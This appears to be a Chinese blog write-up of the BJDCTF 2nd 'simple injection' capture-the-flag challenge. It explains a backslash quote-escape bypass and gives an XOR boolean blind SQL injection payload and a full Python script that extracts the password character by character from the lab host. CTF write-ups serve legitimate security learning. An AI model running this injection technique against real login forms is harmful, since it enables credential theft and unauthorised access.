[BJDCTF 2nd]简单注入

[BJDCTF 2nd]简单注入

因为是简单注入

我一开始就是 ‘ 加上去,被过滤了

所以我fuzz了一下,发现常用的基本都被过滤了,而且,最重要的是闭合的符号都被过滤了

百思不得其解

看了师傅的wp,才知道robots.txt里有提示有hint.txt

因为此题特点是闭合符号被过滤,所以只有一种方法可以绕过,就是在username的参数最后加上 ,作为转义符,把源代码中的 ‘ 转义,使得源代码变成

select * from users where username=' \'and password='和恶意代码

用可以通过的关键字和符号,我们可以构建playload

^(ascii(substr(password,1,1))>1)#

我们可以看到界面的反应,当我们 >1 时,肯定是正确的,界面返回BJD needs to be stronger

<1时,返回You konw ,P3rh4ps needs a girl friend

所以,我们可以列出脚本

# post提交方式的bool盲注

import requests
# 可以修改的playload
playload = "http://d2fa3b89-fa11-4938-a2ff-2ca779a2076b.node3.buuoj.cn/index.php"


char = ""
chars = []
# 验证的名单,按ascii顺序的
yzs = "0123456789ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefzhigklmnopqrstuvwxyz"

print("系统开始注入")
print('-----------------------')
# 可以先手注判断有多少位,再修改9位响应位数
# for b in range(0, 5):  # b是第几个表,第几个字段


header = {'Host': 'd2fa3b89-fa11-4938-a2ff-2ca779a2076b.node3.buuoj.cn',
          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
          'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
          'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
          'Accept-Encoding': 'gzip, deflate',
          'Content-Type': 'application/x-www-form-urlencoded',
          }


for a in range(1, 15):  # a是这个表或字段的第几个字母
    for b in range(0, 129):
        playload_post = '^(ascii(substr(password,{},1))>{})#'.format(a, b)#password可以改成username就能测出username
        data = {"username": "1\\", "password": playload_post}
        response = requests.post(playload, data)
        if 'girl' in response.text:  # 判断条件自己修改
            print(b)
            char += str(chr(b))
            break
print(char)
chars.append(char)
char = ""

print('-------------------------')
for c in chars:
    print(c)
print('-------------------------end')

最后,将得到的username和password写入就能得到flag

posted on 2021-01-28 19:50  猪猪侠的哥哥  阅读(144)  评论(0)    收藏  举报